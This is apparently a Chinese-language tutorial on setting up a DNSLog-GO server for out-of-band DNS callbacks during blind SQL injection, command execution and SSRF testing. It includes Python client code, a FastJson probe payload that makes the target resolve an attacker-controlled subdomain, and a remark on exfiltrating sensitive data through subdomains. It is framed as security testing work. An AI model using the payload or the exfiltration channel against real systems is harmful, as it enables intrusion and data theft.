DNSlog平台搭建教程
字数 952
更新时间 2025-08-12 14:04:47
DNSlog平台搭建与使用教程
一、DNSlog简介
DNSlog是一种利用DNS协议进行数据外带的技术,主要用于以下场景:
- SQL盲注
- 无回显的命令执行
- 无回显的SSRF
当目标系统无法直接回显漏洞利用结果,但能够发送DNS请求时,可以通过DNSlog将数据外带出来。
二、搭建准备
1. 硬件要求
- 一台VPS(公网IP示例:1.1.1.1)
- 两个域名(示例:a.com和b.com)
2. 域名配置
-
在b.com中添加两个A记录:
ns1.b.com → VPS公网IP ns2.b.com → VPS公网IP -
修改a.com的NS记录为:
ns1.b.com ns2.b.com
注意:部分域名提供商可能限制NS记录修改,需选择支持自定义NS的提供商。修改后需等待24-48小时生效。
三、DNSlog-GO部署
1. 项目介绍
DNSLog-GO是用Golang编写的DNS解析记录监控工具,具有多用户WEB界面。
2. 版本选择
- 个人使用:推荐1.4版本
- 团队使用:推荐最新版
下载地址:https://github.com/lanyi1998/DNSlog-GO/releases
3. 安装步骤
-
获取发行版:
- 从GitHub下载对应系统的压缩包(Linux/Mac)
- 解压下载的文件
-
配置文件修改(config.ini):
[HTTP] Port = 8080 # HTTP Web监听端口 Token = admin1,admin2 # 多个用户token,用逗号分隔 ConsoleDisable = false # 是否关闭web页面 [DNS] Domain = demo.com # DNSlog的域名 -
防火墙配置:
- 放行53端口(DNS)
- 放行80端口(HTTP)
-
启动服务:
- 运行
./main启动服务 - 服务重启后需清空浏览器localStorage
- 运行
四、使用教程
1. Web界面访问
- 访问
http://[VPS_IP]:[PORT] - 使用配置文件中设置的token登录
2. API使用示例(Python)
import requests
import random
import json
class DnsLog():
domain = ""
token = ""
Webserver = ""
def __init__(self, Webserver, token):
self.Webserver = Webserver # dnslog的http监听地址,格式为ip:端口
self.token = token # token
# 检测DNSLog服务器是否正常
try:
res = requests.post("http://" + Webserver + "/api/verifyToken",
json={"token": token}).json()
self.domain = res['Msg']
except:
exit("DnsLog 服务器连接失败")
if res["Msg"] == "false":
exit("DnsLog token 验证失败")
# 生成随机子域名
def randomSubDomain(self, length=5):
subDomain = ''.join(random.sample('zyxwvutsrqponmlkjihgfedcba', length)) + '.' + self.domain
return subDomain
# 验证子域名是否存在
def checkDomain(self, domain):
res = requests.post("http://" + self.Webserver + "/api/verifyDns",
json={"Query": domain},
headers={"token": self.token}).json()
if res["Msg"] == "false":
return False
else:
return True
# 使用示例
url = "http://192.168.41.2:8090/"
dns = DnsLog("1111:8888", "admin")
subDomain = dns.randomSubDomain()
payload = {
"b": {
"@type": "java.net.Inet4Address",
"val": subDomain
}
}
requests.post(url, json=payload)
if dns.checkDomain(subDomain):
print("存在FastJson漏洞")
五、注意事项
- NS记录修改后需要较长时间生效(24-48小时)
- 服务端重启后需清空浏览器localStorage
- 确保VPS防火墙已放行必要端口(53和80)
- 部分云厂商的53端口可能需要备案才能使用
- 对于团队使用,可通过配置多个token实现多用户支持
六、进阶使用
- 自定义子域名:可以修改
randomSubDomain方法生成特定模式的子域名 - 数据外带:通过DNS查询将敏感数据作为子域名的一部分外带
- 日志分析:WEB界面可以查看所有DNS查询记录,便于分析漏洞利用结果
通过以上步骤,您可以成功搭建并使用DNSlog平台进行安全测试和漏洞验证。
相似文章
相似文章